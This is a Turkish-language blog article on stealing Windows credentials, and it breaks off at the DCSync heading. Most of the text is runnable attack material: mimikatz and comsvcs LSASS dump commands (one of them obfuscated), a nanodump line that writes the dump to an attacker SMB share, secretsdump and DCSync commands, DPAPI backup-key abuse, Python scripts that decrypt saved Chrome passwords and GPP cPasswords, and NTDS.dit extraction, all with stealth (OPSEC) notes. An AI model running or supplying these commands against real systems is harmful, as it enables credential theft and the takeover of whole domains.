Tağmaç — Türkçe

Windows Kimlik Bilgisi Erişimi: LSASS, DPAPI, SAM ve Tarayıcı Sırları

2026-06-29T12:00:00Z

Windows, kimlik bilgilerini onlarca farklı yerde saklar. Bir etki alanı ortamında çalışan tek bir Windows iş istasyonunda; LSASS belleğinde NT hash'leri ve Kerberos biletleri, SAM veritabanında yerel hesap hash'leri, DPAPI korumasıyla tarayıcı şifreleri, Credential Manager'da ağ kimlik bilgileri ve SYSVOL'da eski GPP şifreleri aynı anda var olabilir. Bu karmaşıklık, savunucular için bir baş ağrısı, saldırganlar için ise bir altın maden gibidir.

2011 yılında Fransız araştırmacı Benjamin Delpy, "mimikatz" adını verdiği aracı yayınladığında Windows güvenliği dünyası kökten değişti. Delpy, Microsoft'un "cleartext şifreler bellekte saklanamaz" iddiasının aksine, Windows'un WDigest kimlik doğrulama protokolü aracılığıyla cleartext şifreleri LSASS belleğinde tuttuğunu kanıtladı. O günden bu yana mimikatz, penetrasyon testlerinin ve gerçek saldırıların vazgeçilmez aracı haline geldi; MITRE ATT&CK T1003 (OS Credential Dumping) teknik ailesi ise bu saldırı kategorisini resmi olarak belgeledi.

Bu yazıda Windows kimlik bilgisi erişimini derinlemesine inceleyeceğiz: LSASS'ın SSP mimarisi, DPAPI'nin anahtar hiyerarşisi, SAM ve NTDS dump teknikleri, Credential Manager kötüye kullanımı, Chrome ve Firefox şifre şifre çözme mekanizmaları ve GPP kimlik bilgileri. Her teknik için gerçek komutlar, OPSEC değerlendirmeleri ve tespit rehberi sunacağız.

1. LSASS (Local Security Authority Subsystem Service) Derinlemesine

LSASS, Windows'un kimlik doğrulama altyapısının kalbidir. Tüm oturum açma işlemlerini yönetir, Kerberos biletlerini işler, NTLM challenge-response protokolünü uygular ve kullanıcı oturumlarıyla ilişkili kimlik bilgilerini bellekte tutar. Process PID'i genellikle 600'lü aralıktadır (sistem yapılandırmasına göre değişir) ve C:\Windows\System32\lsass.exe konumunda bulunur.

LSASS'ın kritik özelliği, farklı kimlik doğrulama protokollerini desteklemek için dinamik olarak yüklenebilen modüller olan Security Support Provider (SSP)'leri kullanmasıdır. Her SSP, farklı türde kimlik bilgilerini bellekte tutar ve bu kimlik bilgilerine erişmek, o SSP'nin sızdırılacak veriyi barındırdığı anlamına gelir.

1.1 Security Support Providers (SSP) Detayları

msv1_0.dll — NTLM Kimlik Doğrulaması

NTLM kimlik doğrulamasını yöneten modül. Bellekte şunları tutar:

NT hash: Kullanıcı şifresinin MD4 hash'i. Pass-the-Hash saldırılarında doğrudan kullanılabilir.
LM hash: Eski sistemlerde hâlâ bulunabilir. Kırılması çok kolaydır.
NTLMv1/v2 challenge-response: NTLM el sıkışmasında kullanılan oturum hash'leri.
Oturum anahtarları: SMB imzalama ve şifreleme için kullanılan anahtar materyali.

mimikatz komutu: sekurlsa::msv veya sekurlsa::logonpasswords

kerberos.dll — Kerberos Protokolü

Active Directory ortamlarında birincil kimlik doğrulama protokolü olan Kerberos'u yönetir. Bellekte şunları tutar:

TGT (Ticket Granting Ticket): AS-REP'ten alınan bilet. Domain Controller ile oturum açmadan kullanılabilir.
TGS (Ticket Granting Service): Belirli servislere erişim için kullanılan servis biletleri.
Oturum anahtarları: TGT ve TGS ile ilişkili şifreleme anahtarları.
APREQ token'ları: Servis kimlik doğrulaması için hazırlanmış token'lar.

mimikatz komutları: sekurlsa::kerberos, kerberos::list /export

Önemli: Kerberos biletleri pass-the-ticket saldırısında kullanılabilir. TGT'ye sahipseniz, o kullanıcı adına herhangi bir TGS alabilirsiniz. krbtgt hash'i ele geçirilirse Golden Ticket oluşturulabilir.

wdigest.dll — HTTP Digest Kimlik Doğrulaması

HTTP Digest kimlik doğrulaması için tasarlanmış bu modül, protokolün gereksinimi nedeniyle cleartext şifreleri bellekte tutmak zorunda kalıyordu. Benjamin Delpy'nin keşfettiği ve dünyayı sarsan güvenlik açığı tam olarak buydu.

Windows 7 / Server 2008: Varsayılan AÇIK. Cleartext şifreler LSASS belleğinde bulunur.
Windows 8.1 / Server 2012 R2+: Varsayılan KAPALI. KB2871997 ile devre dışı bırakıldı.
Yeniden etkinleştirme: HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 1

Saldırganlar bu registry anahtarını 1'e ayarlayıp kurbanın yeniden oturum açmasını bekleyerek cleartext şifreyi elde edebilir. Ancak bu işlem kayıt bırakır.

mimikatz komutu: sekurlsa::wdigest

tspkg.dll — Terminal Services / RDP Kimlik Bilgileri

Terminal Services kimlik doğrulamasını yönetir. Aktif RDP oturumları varsa bellekte cleartext kullanıcı adı ve şifre tutabilir. Özellikle jump server veya RDP gateway sistemlerinde değerlidir.

mimikatz komutu: sekurlsa::tspkg

livessp.dll — Microsoft Hesabı (Live ID)

Windows 8 ve 8.1 döneminde Microsoft hesabı kimlik doğrulaması için kullanılan SSP. Günümüzde büyük ölçüde cloudap.dll tarafından yerini almıştır.

mimikatz komutu: sekurlsa::livessp

cloudap.dll — Azure AD / Windows Hello

Modern Windows cihazlarında Azure Active Directory (Entra ID) kimlik doğrulamasını yönetir. Bellekte şunları tutar:

PRT (Primary Refresh Token): Azure AD oturumu için kullanılan uzun ömürlü token. Bu token ile yeni access token ve refresh token elde edilebilir.
Windows Hello anahtarları: PIN veya biyometrik kimlik doğrulama için kullanılan özel anahtarlar.
Nonce'lar ve proof token'ları: Azure AD ile iletişim için kullanılan kriptografik materyaller.

mimikatz komutu: sekurlsa::cloudap

Not: PRT ele geçirilmesi, MFA atlayarak Azure portalı, Microsoft 365, Teams ve tüm Azure kaynaklarına erişim imkânı verebilir. Bu, "Pass-the-PRT" saldırısı olarak bilinir.

credssp.dll — Credential Security Support Provider

Network Level Authentication (NLA) ve CredSSP protokolünü yönetir. RDP bağlantılarında tam kimlik bilgilerini uzak sisteme aktarır. Bağlantı kurulduktan sonra bu kimlik bilgileri uzak sistemin LSASS belleğinde belirir.

mimikatz komutu: sekurlsa::credman

1.2 LSASS Dump Teknikleri

LSASS dump için birden fazla yöntem mevcuttur. Her birinin farklı OPSEC profili ve gereksinim düzeyi vardır:

Yöntem 1: Task Manager (GUI)

En kolay ve en gürültülü yöntem. Etkileşimli bir oturum gerektirir.

# Görev Yöneticisi → Ayrıntılar sekmesi → lsass.exe
# Sağ tıklayın → "Döküm dosyası oluştur"
# Çıktı: C:\Users\[kullanıcı]\AppData\Local\Temp\lsass.DMP
# OPSEC: ÇOK YÜKSEK — Sysmon Event 10 tetikler

Yöntem 2: ProcDump (Microsoft İmzalı)

Sysinternals'ın ProcDump aracı Microsoft tarafından dijital imzalanmıştır. Bu, bazı eski AV çözümlerini atlayabilir. Ancak modern EDR'ler bu aracın lsass.exe'ye erişimini algılar.

# Temel kullanım
procdump.exe -ma lsass.exe lsass_dump.dmp

# EULA kabul ettirerek (silent)
procdump.exe -ma -accepteula lsass.exe C:\temp\lsass.dmp

# PID ile (process ismi yerine)
procdump.exe -ma 640 C:\temp\lsass.dmp

# OPSEC: YÜKSEK — Sysmon Event 10, Defender ATP uyarısı

Yöntem 3: comsvcs.dll MiniDump (LOLBin)

Sistemde yerleşik olarak bulunan comsvcs.dll dosyasının MiniDump export fonksiyonunu kullanan bu teknik, ekstra araç gerektirmez — bu yüzden "Living off the Land Binary (LOLBin)" olarak sınıflandırılır.

# PowerShell ile PID al ve dump oluştur
$LSASS = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $LSASS C:\temp\lsass.dmp full

# CMD ile tek satır
rundll32 comsvcs.dll MiniDump (wmic process where name="lsass.exe" get processid /value | findstr ProcessId | cut -d= -f2) C:\temp\lsass.dmp full

# Powershell tek satır (obfuscated)
$p=(Get-Process l*s).Id; rundll32 $env:SystemRoot\System32\comsvcs.dll, MiniDump $p $env:TEMP\out.dmp full;Wait-Job -Any

# OPSEC: ORTA — rundll32 + comsvcs kombinasyonu flaglenir
# Sysmon Event 11 (dosya oluşturma), Event 10 (process access)

Yöntem 4: nanodump (PPL Bypass)

nanodump, PPL (Protected Process Light) korumasını bypass eden gelişmiş bir LSASS dump aracıdır. Process handle açmak yerine, işlem fork'lama veya handle çoğaltma tekniklerini kullanır.

# Temel kullanım
nanodump.exe --write C:\temp\lsass.dmp

# PID belirterek
nanodump.exe -p 640 --write C:\temp\lsass.dmp

# Handle duplicate yöntemi (daha gizli)
nanodump.exe --dup --write C:\temp\lsass.dmp

# Uzaktan SMB üzerinden (C2 içinde)
nanodump.exe -p 640 --dup --write \\attacker\share\lsass.dmp

# OPSEC: DÜŞÜK — kernel düzeyinde olaylar, kullanıcı modu denetimi atlatılır
# PPL bypass için kernel driver veya exploit gerekebilir

Yöntem 5: SilentProcessExit

Windows hata raporlama mekanizmasını kullanan gizli bir teknik:

# Registry anahtarları ile dump tetikleme
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f

# Sonra lsass.exe'yi öldür (dikkatli olun — sistem çöker!)
# Daha güvenli: farklı bir process üzerinde deneyin

# OPSEC: YÜKSEK — registry değişikliği + process kill çok dikkat çekicidir

Yöntem 6: Impacket secretsdump (Uzaktan)

# Kullanıcı adı/şifre ile
python3 secretsdump.py corp.local/administrator:'Password123'@10.10.10.10

# NT hash ile (Pass-the-Hash)
python3 secretsdump.py -hashes :aad3b435b51404eeaad3b435b51404ee:NT_HASH_HERE administrator@10.10.10.10

# Kerberos bileti ile
python3 secretsdump.py -k -no-pass corp.local/administrator@10.10.10.10

# Sadece SAM
python3 secretsdump.py -sam SAM -system SYSTEM LOCAL

# OPSEC: DÜŞÜK/ORTA — ağ üzerinden, yerel process erişimi yok
# DCSync modu: Event 4662 tetikler

1.3 mimikatz ile Hash Çıkarma

Dump dosyası elde edildikten sonra veya doğrudan sistem üzerinde mimikatz kullanılarak hash'ler çıkarılır:

# Önce debug yetkisi al (SeDebugPrivilege — SYSTEM gerektirir)
privilege::debug

# Tüm oturum açmış kullanıcıların kimlik bilgilerini al
# NT hash + cleartext (WDigest aktifse) + Kerberos biletleri
sekurlsa::logonpasswords

# Sadece WDigest cleartext şifreler
sekurlsa::wdigest

# Kerberos TGT ve TGS biletlerini al
sekurlsa::kerberos

# RDP (TS) kimlik bilgilerini al
sekurlsa::tspkg

# NTLM kimlik bilgilerini al
sekurlsa::msv

# Azure AD PRT token'larını al
sekurlsa::cloudap

# Credential Manager kimlik bilgilerini al
sekurlsa::credman

# ============================================================
# Dump dosyasından offline çıkarma (sistemde mimikatz çalıştırmadan)
# ============================================================

# Önce dump dosyasını yükle
sekurlsa::minidump C:\temp\lsass.dmp

# Artık tüm komutlar dump'tan okur
sekurlsa::logonpasswords

# SAM veritabanından yerel hash'ler
lsadump::sam

# LSA secrets (servis hesabı şifreleri, auto-logon)
lsadump::secrets

# Cached domain credentials (DCC2 formatı)
lsadump::cache

# Domain backup key al
lsadump::backupkeys /system:DC01.corp.local /export

# DCSync — belirli bir kullanıcının hash'ini DC'den çek
lsadump::dcsync /domain:corp.local /user:administrator
lsadump::dcsync /domain:corp.local /all /csv

1.4 Credential Guard

Microsoft, Windows 10 sürüm 1511'den itibaren Credential Guard özelliğini sundu. Bu özellik, Hyper-V tabanlı sanallaştırma kullanarak LSASS'ı izole bir ortamda çalıştırır (VSM — Virtual Secure Mode / VTL1).

Credential Guard'ın koruduğu şeyler:

NT hashes (msv1_0.dll) — artık VTL1'de, kullanıcı modundan erişilemez
Kerberos TGT/TGS — artık VTL1'de
WDigest cleartext şifreler — tamamen engellendi

Credential Guard'ın KORUMАDIĞI şeyler:

SAM veritabanındaki yerel hash'ler
NTDS.dit (domain hash'leri)
DPAPI master key'leri
Tarayıcı şifreleri
Ağ üzerinden yakalanan NTLM hash'leri (responder vb.)
Credential Manager vault girişleri

Credential Guard etkinleştirme durumunu kontrol etme:

# PowerShell ile kontrol
(Get-CimInstance -Namespace root/Microsoft/Windows/DeviceGuard -Class Win32_DeviceGuard).SecurityServicesRunning
# 1 = Credential Guard aktif, 2 = HVCI aktif
Registry kontrolü
reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags

2. SAM Veritabanı (Security Account Manager)

SAM veritabanı, Windows'un yerel kullanıcı hesaplarının kimlik bilgilerini depoladığı kritik bir dosyadır. Fiziksel konum: C:\Windows\System32\config\SAM

SAM dosyası, sisteme özel bir boot anahtarı (syskey/bootkey) ile şifrelenmiştir. Bu anahtarı çözmek için SYSTEM hive dosyasına da ihtiyaç vardır (C:\Windows\System32\config\SYSTEM).

Çalışan bir sistemde SAM dosyası kilitlidir; Volume Shadow Copy (VSS) veya registry export ile kopyalanmalıdır.

2.1 SAM Dump Teknikleri

Volume Shadow Copy (VSS) ile

# VSS snapshot oluştur
vssadmin create shadow /for=C:

# Shadow copy yolunu bul
vssadmin list shadows

# SAM ve SYSTEM'i kopyala (shadow copy yolunu kullan)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM

# Temizlik
vssadmin delete shadows /shadow:{GUID}

# Impacket ile hash çıkar
python3 secretsdump.py -sam C:\temp\SAM -system C:\temp\SYSTEM LOCAL

Registry Export ile (etkileşimli oturumda)

# Registry üzerinden SAM ve SYSTEM export et
reg save HKLM\SAM C:\temp\SAM.hive
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive
reg save HKLM\SECURITY C:\temp\SECURITY.hive

# Yerel impacket analizi
python3 secretsdump.py -sam SAM.hive -security SECURITY.hive -system SYSTEM.hive LOCAL

mimikatz ile (canlı sistem)

privilege::debug
token::elevate        # SYSTEM token al
lsadump::sam          # SAM'dan hash'leri çıkar

2.2 LSA Secrets

LSA Secrets, HKLM\SECURITY\Policy\Secrets registry anahtarında saklanan ve sistem düzeyindeki sırları içeren özel bir yapıdır. Bunlar arasında:

_SC_ServiceName: Windows servislerinin çalıştığı hesapların şifreleri
DefaultPassword: Otomatik oturum açma şifresi (auto-logon)
NL$KM: Cached domain credentials için şifreleme anahtarı
$MACHINE.ACC: Domain makine hesabının şifresi (her 30 günde değişir)
DPAPI_SYSTEM: Sistem düzeyinde DPAPI master key'i

# mimikatz ile LSA Secrets çıkar
privilege::debug
token::elevate
lsadump::secrets

# Impacket ile
python3 secretsdump.py corp.local/administrator:'Password123'@10.10.10.10 -just-lsa

2.3 Cached Domain Credentials (DCC2)

Windows, domain controller'a ağ bağlantısı olmadığında bile kullanıcıların oturum açabilmesi için son 10 domain kimlik bilgisini önbelleğe alır. Bunlar HKLM\SECURITY\Cache altında NL$1, NL$2 vb. adlarla saklanır.

Hash formatı: DCC2 (MS-Cache v2) — hashcat modu -m 2100

DCC2 hash'leri, NTLM hash'lerinin aksine ağ kimlik doğrulamasında kullanılamaz (Pass-the-Hash çalışmaz). Ancak kırılarak cleartext şifreye ulaşılabilir. Kırma işlemi Kerberoast'tan çok daha yavaştır.

# mimikatz ile cached credentials
privilege::debug
token::elevate
lsadump::cache

# Hashcat ile kırma
hashcat -m 2100 dcc2_hash.txt wordlist.txt
# Format: $DCC2$10240#username#hash

# Örnek
hashcat -m 2100 '$DCC2$10240#administrator#a4bcd...' rockyou.txt --rules best64.rule

3. DPAPI (Data Protection API) Derinlemesine

DPAPI, Microsoft'un Windows'ta kullanıcı sırlarını saklamak için geliştirdiği şifreleme altyapısıdır. 1999'dan bu yana Windows'ta mevcuttur ve kullanımı son derece yaygındır: Chrome şifreleri, Credential Manager, Wi-Fi şifreleri, EFS anahtarları, sertifika özel anahtarları ve daha fazlası DPAPI ile korunur.

DPAPI'nin temel prensibi: şifreleme anahtarı kullanıcının şifresinden türetilir. Bu sayede kullanıcı oturum açtığında veriye erişebilir, oturum kapalıyken veriye erişilemez. Ancak bu tasarımın önemli bir zayıflığı vardır: domain backup key.

3.1 DPAPI Anahtar Hiyerarşisi

Seviye 1: Domain Backup Key

Active Directory ortamlarında, Domain Controller'da özel bir "DPAPI backup key" saklanır. Bu anahtar, domain üzerindeki tüm kullanıcıların master key'lerini şifrelemek için kullanılır. Anahtara sahip olan kişi, domain'deki tüm kullanıcıların DPAPI sırlarını çözebilir.

Konum: DC'nin LSASS belleğinde ve AD veritabanında
Tüm DC'lere replike edilir
Domain Admin hakları gerektirir
Yıllar boyunca değişmez (dikkat!)

# mimikatz ile domain backup key çıkar
lsadump::backupkeys /system:DC01.corp.local /export
# Çıktı: ntds_capi_*.pvk ve ntds_legacyapi_*.pvk dosyaları

# Impacket dpapi.py ile
python3 dpapi.py backupkeys --export -t corp.local/administrator:'Password123'@DC01.corp.local

Seviye 2: User Master Key

Her kullanıcının bir veya birden fazla master key'i vardır. Bu key'ler kullanıcı profil klasöründe GUID adlı dosyalar olarak saklanır:

# Master key konumu
%APPDATA%\Microsoft\Protect\{SID}\{GUID}
# Örnek:
C:\Users\jdoe\AppData\Roaming\Microsoft\Protect\S-1-5-21-...-1001\{3a4b5c6d-...}

Master key, kullanıcı şifresinden ve SID'den türetilir (PBKDF2 + HMAC-SHA1). Domain ortamında domain backup key ile de şifrelenmiş bir kopyası bulunur.

Seviye 3: DPAPI_BLOB

Her şifrelenmiş veri parçası bir DPAPI_BLOB formatındadır. Bu blob'un başlığında hangi master key GUID'inin kullanıldığı yazar, böylece şifre çözme sırasında doğru master key bulunabilir.

Seviye 4: Korunan Sır

Blob şifrelendikten sonra ortaya çıkan gerçek sır: tarayıcı şifresi, Wi-Fi anahtarı, sertifika özel anahtarı vb.

3.2 DPAPI Saldırı Teknikleri

Domain Backup Key ile Toplu Çözme

# 1. Backup key'i al (DA hakları gerekli)
python3 dpapi.py backupkeys --export -t corp.local/administrator:'Password123'@DC01
# veya mimikatz:
lsadump::backupkeys /system:DC01.corp.local /export

# 2. SharpDPAPI ile tüm domain kullanıcılarının sırlarını çöz
# (Master key'lerini backup key ile çöz, sonra blob'ları decrypt et)
SharpDPAPI.exe triage /pvk:backup_key.pvk

# Sadece Credential Manager vault girişleri
SharpDPAPI.exe vaults /pvk:backup_key.pvk

# Chrome şifreleri
SharpDPAPI.exe logins /pvk:backup_key.pvk

# Sertifikalar
SharpDPAPI.exe certificates /pvk:backup_key.pvk

DonPAPI (Linux'tan)

# Linux saldırı makinasından tüm DPAPI sırları çek
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.10

# Tüm domain'i tara
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.0/24

# Credential dosyaları var mı?
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.10 --credz

Çevrimdışı DPAPI Analizi

# Belirli bir DPAPI blob'u çöz
mimikatz: dpapi::blob /in:C:\temp\blob.bin /masterkey:<hex_masterkey>

# Credential dosyası çöz
mimikatz: dpapi::cred /in:C:\Users\jdoe\AppData\Roaming\Microsoft\Credentials\{GUID}

# Master key çöz (kullanıcı şifresi biliniyorsa)
mimikatz: dpapi::masterkey /in:C:\...\{GUID} /password:Password123

# Master key çöz (domain backup key ile)
mimikatz: dpapi::masterkey /in:C:\...\{GUID} /pvk:backup.pvk

3.3 Sistem Düzeyinde DPAPI

Sistem (MACHINE) düzeyindeki DPAPI, SYSTEM hesabı bağlamındaki sırları korur. Şifreleme anahtarı makine SID'inden ve LSA boot key'inden türetilir. Bu sırlar arasında:

Zamanlanmış görev şifreleri
Wi-Fi PSK anahtarları (C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\)
RDP kaydedilmiş bağlantı şifreleri (SYSTEM bağlamında)
DPAPI_SYSTEM sırrı (LSA Secrets'ta)

# Sistem DPAPI master key çöz (SYSTEM yetkisiyle)
mimikatz:
privilege::debug
token::elevate
dpapi::masterkey /in:"C:\Windows\System32\Microsoft\Protect\S-1-5-18\{GUID}" /system

# Wi-Fi şifrelerini çöz
netsh wlan export profile folder=C:\temp key=clear
# veya SharpDPAPI:
SharpDPAPI.exe wifi

4. Tarayıcı Kimlik Bilgileri

Modern tarayıcılar, kullanıcı kolaylığı için şifreleri yerel olarak saklar. Bu depolama mekanizmaları, farklı şifreleme yöntemleri kullansa da sonuçta işletim sistemi düzeyi sırlara (DPAPI veya NSS) dayandığından saldırganlar için değerli hedeflerdir.

4.1 Chrome / Edge / Chromium Tabanlı Tarayıcılar

Chrome'un şifre depolama mimarisi:

Login Data: SQLite veritabanı — %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
Local State: JSON dosyası — %LOCALAPPDATA%\Google\Chrome\User Data\Local State
Şifreleme: AES-256-GCM (Chrome 80+). Şifreleme anahtarı Local State'de DPAPI blob olarak korunmuş.

Şifre çözme akışı:

Local State JSON'dan os_crypt.encrypted_key alanını al
Base64 decode et → DPAPI\x01 prefix'li DPAPI blob
CryptUnprotectData() ile DPAPI blob'u çöz → AES-256 anahtarı
Login Data SQLite'tan logins tablosunu sorgula → password_value sütunu
AES-256-GCM ile şifreyi çöz (nonce ilk 12 byte, prefix v10)

# HackBrowserData (cross-platform)
./hack-browser-data -b chrome -o output/
./hack-browser-data -b all -o output/

# SharpChrome (Windows C# tool — SpecterOps)
SharpChrome.exe logins        # tüm kayıtlı giriş bilgileri
SharpChrome.exe cookies       # oturum çerezleri
SharpChrome.exe history       # tarama geçmişi
SharpChrome.exe logins /server:dc01.corp.local  # uzaktan

# Python ile manuel çözme
import sqlite3, json, base64
from Cryptodome.Cipher import AES
import win32crypt

# Local State'den AES anahtarı al
with open(r'%LOCALAPPDATA%\Google\Chrome\User Data\Local State') as f:
  local_state = json.load(f)
encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])[5:]  # DPAPI prefix'i atla
aes_key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]

# Login Data'dan şifreli parolaları al
conn = sqlite3.connect(r'%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data')
cursor = conn.execute("SELECT origin_url, username_value, password_value FROM logins")
for url, username, encrypted_password in cursor.fetchall():
  nonce = encrypted_password[3:15]   # v10 sonrası: 3 byte prefix + 12 byte nonce
  ciphertext = encrypted_password[15:-16]
  tag = encrypted_password[-16:]
  cipher = AES.new(aes_key, AES.MODE_GCM, nonce)
  plaintext = cipher.decrypt_and_verify(ciphertext, tag)
  print(f"{url} | {username} | {plaintext.decode()}")

# DonPAPI (Linux'tan, domain kullanıcısı olarak)
python3 DonPAPI.py corp.local/jdoe:'Password123'@10.10.10.50

4.2 Firefox / Firefox Tabanlı Tarayıcılar

Firefox, Chromium'dan farklı bir şifreleme altyapısı olan NSS (Network Security Services) kullanır:

key4.db: NSS anahtar veritabanı (SQLite formatı)
logins.json: Şifreli giriş bilgileri (JSON formatı)
Şifreleme: 3DES-CBC veya AES-256-CBC, NSS ile
Master Password: Opsiyonel ek koruma. Ayarlanmamışsa makine kimlik materyali kullanılır.

# Firefox profil konumu
# Windows: %APPDATA%\Mozilla\Firefox\Profiles\{profile}.default-release\
# Linux: ~/.mozilla/firefox/{profile}.default-release/

# firefox_decrypt (Python)
python3 firefox_decrypt.py /path/to/firefox/profile/
# Master password sorulacak (yoksa boş bırakın)

# firepwd (Python — eski profiller için de çalışır)
python3 firepwd.py -d /path/to/profile/ -p master_password

# SharpWeb (C# — Windows'tan)
SharpWeb.exe all

# LaZagne (çok tarayıcılı)
python3 laZagne.py browsers
python3 laZagne.py all  # tüm sırlar

4.3 OPSEC Notu: Tarayıcı Şifrelerine Erişim

Chrome'un Login Data dosyası, tarayıcı çalışırken kilitlenir. Dosyayı kopyalayarak analiz yapabilirsiniz:

# Chrome çalışırken dosyayı kopyala
copy "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" C:\temp\LoginData

# Ardından kopyayı analiz et (orijinal kilitli olsa bile)
# SharpChrome kopyalama işlemini otomatik yapar

5. Windows Credential Manager (Vault)

Windows Credential Manager, ağ kimlik bilgilerini, web sitesi şifrelerini ve genel uygulama kimlik bilgilerini DPAPI korumasıyla saklar. Konum: %APPDATA%\Microsoft\Credentials\ ve %LOCALAPPDATA%\Microsoft\Credentials\

Vault girişleri iki kategoriye ayrılır:

Windows Credentials: Ağ paylaşımları, Uzak Masaüstü bağlantıları için kimlik bilgileri
Certificate-Based Credentials: Sertifika tabanlı kimlik bilgileri
Generic Credentials: Uygulama düzeyinde kaydedilmiş kullanıcı adı/şifre çiftleri

# Komut satırından kayıtlı kimlik bilgilerini listele
cmdkey /list

# PowerShell ile Vault'u oku (Windows Runtime API)
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | ForEach-Object {
  $_.RetrievePassword()
  [PSCustomObject]@{
      UserName = $_.UserName
      Resource = $_.Resource
      Password = $_.Password
  }
}

# mimikatz ile Vault sırlarını çöz
vault::list     # tüm vault girişlerini listele
vault::cred /patch   # kimlik bilgilerini çöz

# SharpDPAPI ile
SharpDPAPI.exe vaults
SharpDPAPI.exe credentials

# Fiziksel Credential dosyalarını çöz
# Konum: %APPDATA%\Microsoft\Credentials\ ve %LOCALAPPDATA%\Microsoft\Credentials\
dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\{GUID}" /masterkey:<hex>

Credential Manager özellikle değerlidir çünkü kullanıcılar genellikle domain admin hesapları dahil kritik sistem şifrelerini burada kaydeder.

6. GPP Credentials (MS14-025)

Group Policy Preferences (GPP), sistem yöneticilerinin domain genelinde yapılandırma değişiklikleri yapmasına olanak tanır. 2006-2014 yılları arasında yaygın olarak kullanılan bir özellik, yerel yönetici hesabı oluşturma veya şifre ayarlama için Group Policy XML dosyalarında cPassword alanını kullanıyordu.

Bu XML dosyaları SYSVOL'da saklanır ve domain üyesi olan herkes okuyabilir. Microsoft, şifreyi AES-256 ile şifrelemişti — ancak şifreleme anahtarını da MSDN belgelerinde herkese açık olarak yayınlamıştı!

Microsoft bu açığı 2014'te MS14-025 yaması ile giderdi (GPP artık cPassword alanını kullanamıyor), ancak miras konfigürasyonlar hâlâ SYSVOL'da duruyor olabilir.

# SYSVOL'da cPassword içeren XML dosyalarını ara
findstr /S /I cPassword \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\*.xml

# CrackMapExec ile otomatik kontrol
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' -M gpp_autologin
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' -M gpp_password

# Metasploit modülü
use post/windows/gather/credentials/gpp
use auxiliary/scanner/smb/smb_enumgpp

# Impacket ile
python3 Get-GPPPassword.py corp.local/jdoe:'Password123'@10.10.10.10

# PowerSploit ile (eski ama hâlâ işe yarar)
Get-GPPPassword
Get-GPPAutologon

# Python ile manuel decrypt (AES CBC, public key!)
import base64
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad

# Microsoft'ın yayınladığı AES anahtarı (32 byte)
key = bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')

def decrypt_gpp_password(cpassword):
  # Base64 padding düzelt
  padding = len(cpassword) % 4
  if padding:
      cpassword += '=' * (4 - padding)
  decoded = base64.b64decode(cpassword)
  # AES-256-CBC, IV = 0
  iv = b'\x00' * 16
  cipher = AES.new(key, AES.MODE_CBC, iv)
  decrypted = unpad(cipher.decrypt(decoded), 16)
  return decrypted.decode('utf-16-le')

# GPP XML'den cPassword değerini alın ve decrypt edin
cpassword = "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw+srsIA"
print(decrypt_gpp_password(cpassword))

6.1 GPP Güvenlik Açığının Kapsamı

GPP aracılığıyla şifre içerebilecek XML dosya türleri:

Groups.xml: Yerel grup üyelikleri ve şifreler
Services.xml: Windows servis yapılandırmaları
Scheduledtasks.xml: Zamanlanmış görev kimlik bilgileri
Datasources.xml: Veritabanı bağlantı bilgileri
Printers.xml: Yazıcı kimlik bilgileri
Drives.xml: Sürücü bağlantısı kimlik bilgileri

7. NTDS.dit Extraction (Domain Hash Çıkarma)

NTDS.dit, Active Directory'nin ana veritabanıdır. Domain Controller'da C:\Windows\NTDS\ntds.dit konumunda bulunur ve tüm domain kullanıcı hesaplarının NT hash'lerini içerir. Bu dosyayı ele geçirmek, tüm domain'in kimlik bilgilerini elde etmek anlamına gelir.

7.1 VSS ile NTDS.dit Kopyalama

# DC'de SYSTEM yetkisiyle VSS snapshot oluştur
vssadmin create shadow /for=C:

# Shadow copy yolunu bul
vssadmin list shadows

# NTDS ve SYSTEM'i kopyala
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive

# Snapshot'ı temizle
vssadmin delete shadows /shadow:{GUID} /quiet

# Hash çıkarma
python3 secretsdump.py -ntds C:\temp\ntds.dit -system C:\temp\SYSTEM.hive LOCAL -outputfile hashes

# Çıktı formatları
python3 secretsdump.py ... -outputfile hashes  # her format için ayrı dosya oluşturur
# hashes.ntds: kullanıcı:UID:LMhash:NThash:::
# hashes.ntds.kerberos: Kerberos anahtarları
# hashes.ntds.cleartext: cleartext şifreler (varsa)

7.2 DCSync (Uzaktan, Ağ Üzerinden)

